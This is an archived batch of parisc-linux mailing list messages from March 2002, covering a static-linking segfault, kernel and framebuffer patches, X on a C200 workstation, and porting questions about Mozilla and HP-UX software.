<sigh> yup... looks like a compiler (linker?) bug...

gcc -fPIC -o test test.c          -> works
gcc -fPIC -static -o test test.c  -> segfaults

test.c is a printf("Hello") kinda program

verified with both gcc-3.0.4 and gcc-3.1.

Dave, is this a known problem?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TOC on B180L
Date: Thu, 14 Mar 2002 00:29:13 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020314072913.848494886@dsl2.external.hp.com>
References: <1016088869.3c904925683bb@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621159 4757 80.91.229.3 (22 Nov 2014 01:52:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 14 00:29:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 848494886; Thu, 14 Mar 2002 00:29:13 -0700 (MST)
In-Reply-To: Message from joel.soete@freebel.net 
   of "Thu, 14 Mar 2002 07:54:29 +0100." <1016088869.3c904925683bb@webmail.tiscali.be> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14344

joel.soete@freebel.net wrote:
> On my B180L the TOC blue button is located (on the back of the 'server') just
> between the keyboard connector and the video connector. (On all we have here,
> the button is located at the same place).

thanks - should be the same place for all B-xxx machines.

> PS: Is this interrupt will be consider as a hardware reset by linux kernel?

I don't know...I expect it be treated like an HPMC (or NMI)...which
depending on how the HW has locked up...



From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms-0.9.2 build utilities problem
Date: Thu, 14 Mar 2002 09:55:35 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200203141455.g2EEtZ52019381@hiauly1.hia.nrc.ca>
References: <20020314071822.GR730@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621159 4759 80.91.229.3 (22 Nov 2014 01:52:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:39 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 14 07:55:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64ADB4835
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Mar 2002 07:55:38 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g2EEtaFN019383;
	Thu, 14 Mar 2002 09:55:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g2EEtZ52019381;
	Thu, 14 Mar 2002 09:55:35 -0500 (EST)
In-Reply-To: <20020314071822.GR730@tausq.org> from "Randolph Chung" at Mar 13, 2002 11:18:22 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14345

> <sigh> yup... looks like a compiler (linker?) bug...
> 
> gcc -fPIC -o test test.c          -> works
> gcc -fPIC -static -o test test.c  -> segfaults

I don't think so.  I did a little test and found r19 has the value 4
when main is called.  There must be a problem with the startup code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "MOORE,CHRISTOPHER (HP-USA,ex1)" <chris_moore@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compiling Mozilla
Date: Thu, 14 Mar 2002 10:14:15 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <CC57E8021A79D511BC720090278CE32DC28E7B@xrose02.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621160 4763 80.91.229.3 (22 Nov 2014 01:52:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:40 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 14 11:14:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 793F84872
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Mar 2002 11:14:20 -0700 (MST)
Original-Received: from xparelay1.corp.hp.com (xparelay1.corp.hp.com [15.58.136.173])
	by palrel13.hp.com (Postfix) with ESMTP id 1755B400475
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Mar 2002 10:14:20 -0800 (PST)
Original-Received: from xpabh4.corp.hp.com (xpabh4.corp.hp.com [15.58.136.1])
	by xparelay1.corp.hp.com (Postfix) with ESMTP id 0FA0AE002DC
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Mar 2002 10:14:20 -0800 (PST)
Original-Received: by xpabh4.corp.hp.com with Internet Mail Service (5.5.2653.19)
	id <FQ4BXHKX>; Thu, 14 Mar 2002 10:14:19 -0800
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14346

Has anyone got Mozilla to compile and run?  The latest version of Mozilla I
could find
didn't know about parisc Linux.  I've seen lots of questions and problems
here but
no indication that anyone has got it to work.  I'm willing to put some
effort into it, but
I don't want to reinvent the wheel if someone else already has it working.

Chris Moore
HPUX Kernel WTEC




From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John <hplinux@eagle.grdl.noaa.gov>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISC 0.9.3+C200+Visualize-EG+2.4.18-pa05 = working X!
Date: Thu, 14 Mar 2002 15:41:18 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <3C910AEE.6AB2235E@eagle.grdl.noaa.gov>
References: <3C7D115C.9AEE5DDB@eagle.grdl.noaa.gov> <20020227172844.2534F485A@dsl2.external.hp.com> <3C7D1C89.121A1B30@eagle.grdl.noaa.gov> <20020227183818.6A427482B@dsl2.external.hp.com>  <3C8D1B6F.162195CF@eagle.grdl.noaa.gov> <20020312171650.7AF54484A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621160 4766 80.91.229.3 (22 Nov 2014 01:52:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 14 13:41:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from eagle.grdl.noaa.gov (eagle.grdl.noaa.gov [140.90.158.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8AE5482A
	for <parisc-linux@parisc-linux.org>; Thu, 14 Mar 2002 13:41:27 -0700 (MST)
Original-Received: from eagle.grdl.noaa.gov (eagle [140.90.158.128])
	by eagle.grdl.noaa.gov (8.9.3 (PHNE_25183)/8.9.3) with ESMTP id PAA01475;
	Thu, 14 Mar 2002 15:41:18 -0500 (EST)
X-Mailer: Mozilla 4.78 [en] (X11; U; HP-UX B.10.20 9000/782)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14347

Grant Grundler wrote:
>
> John wrote:
>>
>> I saw your post from this weekend. Did you actually get X working on your 
>> C3000 with the Visualize-EG?! If a mere mortal can patch the kernel (or you 
>> have it available) I'd love to try it on my C200 to see if it works now 
>> too.
> 
> patch is on ftp.p-l.o/patches/entry.S-diff.
> Then:
>         cd /usr/src/linux
>         patch -p0 < entry.S-diff
>         make vmlinux
> 
> I don't have any kernels suitable for C200 built since I remove ccio driver 
> from the c3k builds. I expect to commit the patch today or tomorrow and can
> build "generic" kernels then.

I wanted to share the good news that Grant's recent patch to "entry.S" yields a
new kernel (2.4.18-pa05) which allows X-windows to work on my C200 with
Visualize-EG graphics. Before installing the patch I would get an HPMC when X
tried to start. I got gdm up & running fine, but have had some troubles with KDE
that I hope to resolve. The 8-bit color isn't great, but that's all I've got!
Thanks Grant!

John



From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Jandt <tilo@jandt-online.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla
Date: Thu, 14 Mar 2002 22:52:07 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <5.0.2.1.2.20020314224958.00af5e98@pop.puretec.de>
References: <CC57E8021A79D511BC720090278CE32DC28E7B@xrose02.rose.hp.com
 >
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621160 4769 80.91.229.3 (22 Nov 2014 01:52:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:40 +0000 (UTC)
To: "MOORE,CHRISTOPHER (HP-USA,ex1)" <chris_moore@hp.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 14 14:54:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from meg.hrz.tu-chemnitz.de (meg.hrz.tu-chemnitz.de [134.109.132.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id C16BD4855
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Mar 2002 14:54:58 -0700 (MST)
Original-Received: from pat.hrz.tu-chemnitz.de ([134.109.132.143] ident=mail)
	by meg.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #3)
	id 16ldBZ-00008j-00; Thu, 14 Mar 2002 22:54:57 +0100
Original-Received: from gerd.csn.tu-chemnitz.de ([134.109.88.146] helo=gerd.jandt-online.net)
	by pat.hrz.tu-chemnitz.de with esmtp (Exim 3.32 #2)
	id 16ldBU-0000S5-00; Thu, 14 Mar 2002 22:54:52 +0100
X-Sender: pt7606182-tilo@pop.puretec.de
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
In-Reply-To: <CC57E8021A79D511BC720090278CE32DC28E7B@xrose02.rose.hp.com
 >
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14348

Hi,

At 10:14 14.03.2002 -0800, MOORE,CHRISTOPHER (HP-USA,ex1) wrote:
>Has anyone got Mozilla to compile and run?

I don't compile it.
I just apt-get installed it :)

apt-get install mozilla works fine since last sunday.

But it doesn't really works. Because it breaks with an segmentation fault=20
short after starting.

cya,
Tilo

|[ Tilo Jandt, K=F6rnerstra=DFe 8, D-09306 Rochlitz         ]|
|[ mailto:tilo@jandt-online.net ]  [ ICQ: 73832493              ]|
|[ Phone: +49 179 5333 255   ]  [ Fax: +49 3737 771478  ]|





From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PA-RISC 0.9.3+C200+Visualize-EG+2.4.18-pa05 = working X!
Date: Thu, 14 Mar 2002 21:45:46 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020315044546.C7D58483E@dsl2.external.hp.com>
References: <3C7D115C.9AEE5DDB@eagle.grdl.noaa.gov> <20020227172844.2534F485A@dsl2.external.hp.com> <3C7D1C89.121A1B30@eagle.grdl.noaa.gov> <20020227183818.6A427482B@dsl2.external.hp.com> <3C8D1B6F.162195CF@eagle.grdl.noaa.gov> <20020312171650.7AF54484A@dsl2.external.hp.com>  <3C910AEE.6AB2235E@eagle.grdl.noaa.gov>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621161 4774 80.91.229.3 (22 Nov 2014 01:52:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:41 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John <hplinux@eagle.grdl.noaa.gov>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 14 21:45:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id C7D58483E; Thu, 14 Mar 2002 21:45:46 -0700 (MST)
In-Reply-To: Message from John <hplinux@eagle.grdl.noaa.gov> 
   of "Thu, 14 Mar 2002 15:41:18 EST." <3C910AEE.6AB2235E@eagle.grdl.noaa.gov> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14349

John wrote:
> I wanted to share the good news that Grant's recent patch to "entry.S"
...
> Thanks Grant!

That's great news!

But Thomas Bogendoerf should get most of the credit for figuring
out the problem and fix. I just implemented what he said.

BTW, I've modified the patch a bit (removed an un-needed depdi)
and it's still not committed yet. I'd like to let Thomas
commit it himself since he really did the hard part.

grant



From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI without PCI
Date: Fri, 15 Mar 2002 13:58:01 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20020315135801.X30538@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621161 4777 80.91.229.3 (22 Nov 2014 01:52:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:41 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 15 06:58:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC94F482B
	for <parisc-linux@parisc-linux.org>; Fri, 15 Mar 2002 06:58:02 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16lsDZ-0000Xe-00
	for parisc-linux@parisc-linux.org; Fri, 15 Mar 2002 13:58:01 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14350

Right now, it's not possible to compile STI in without PCI.  This patch
should fix that.  Feedback appreciated.

Index: drivers/video/sti/sticore.c
===================================================================
RCS file: /var/cvs/linux/drivers/video/sti/sticore.c,v
retrieving revision 1.37
diff -u -p -r1.37 sticore.c
--- drivers/video/sti/sticore.c	2002/03/03 23:05:06	1.37
+++ drivers/video/sti/sticore.c	2002/03/15 13:56:24
@@ -918,10 +918,10 @@ static int __init sticore_pa_init(struct
 	return 0;
 }
 
-
 static int __devinit sticore_pci_init(struct pci_dev *pd,
 		const struct pci_device_id *ent)
 {
+#ifdef CONFIG_PCI
 	unsigned long fb_base, rom_base;
 	unsigned int fb_len, rom_len;
 	struct sti_struct *sti;
@@ -962,10 +962,9 @@ static int __devinit sticore_pci_init(st
 			pd->name);
 		return -ENODEV;
 	}
-
+#endif /* CONFIG_PCI */
 	return 0;
 }

From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?Windows-1252?Q?Onnainty_Jer=F3nimo?= <jeronimo@curtarsa.com.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I'm using HP-UX
Date: Fri, 15 Mar 2002 15:08:30 -0300
Lines: 5
Approved: news@gmane.org
Message-ID: <000101c1cc4c$6b4a5960$190101c0@onnainty>
Reply-To: <jeronimo@curtarsa.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621161 4790 80.91.229.3 (22 Nov 2014 01:52:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 15 11:09:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netbox.xtechq.com.ar (unknown [200.47.10.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BB10487E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Mar 2002 11:09:09 -0700 (MST)
Original-Received: from onnainty (onnainty [192.1.1.25])
	by netbox.xtechq.com.ar (8.11.6/8.9.3) with SMTP id g2FJDXP03517
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Mar 2002 15:13:44 -0400
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14351

Tengo instalado el DTCMANAGER en un HP-UX, en el PA-Linux existe este
producto?




From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] I'm using HP-UX
Date: Fri, 15 Mar 2002 11:31:06 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20020315183106.5CB9E39573@carmen.fc.hp.com>
References: <000101c1cc4c$6b4a5960$190101c0@onnainty>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621162 4799 80.91.229.3 (22 Nov 2014 01:52:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, taggart@carmen.fc.hp.com
To: jeronimo@curtarsa.com.ar
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 15 11:31:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37F374887
	for <parisc-linux@lists.parisc-linux.org>; Fri, 15 Mar 2002 11:31:12 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 9EEB9E8; Fri, 15 Mar 2002 13:31:08 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 5CB9E39573; Fri, 15 Mar 2002 11:31:06 -0700 (MST)
In-Reply-To: Your message of "Fri, 15 Mar 2002 15:08:30 -0300."
             <000101c1cc4c$6b4a5960$190101c0@onnainty> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14352

=?Windows-1252?Q?Onnainty_Jer=F3nimo?= writes...

> Tengo instalado el DTCMANAGER en un HP-UX, en el PA-Linux existe este
> producto?

Not currently. I think this would require both support for the DTC
devices and porting the DTCMANAGER software.

Do you just want to be able to access the devices? This might be possible
if someone wrote the right drivers.

Or do you want to use the DTCMANAGER software too? I don't think the HP
people in charge of this product plan to port it. You could ask
them though. One possiblity is to try and run it under PA-Linux using
the HP-UX binary support. I suspect you'll need the yet-to-be-implemented
signals stuff though, a bunch of HP-UX Libraries, as well as
the hardware support mentioned above(and maybe some sort of conversion
layer depending on how it wants to access the devices).

Short answer: while possible, I don't think it will ever happen. Don't
let that stop you from working on it though :)

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



From - Thu Nov 08 21:22:07 2018
X-Mozilla-Status: 0001
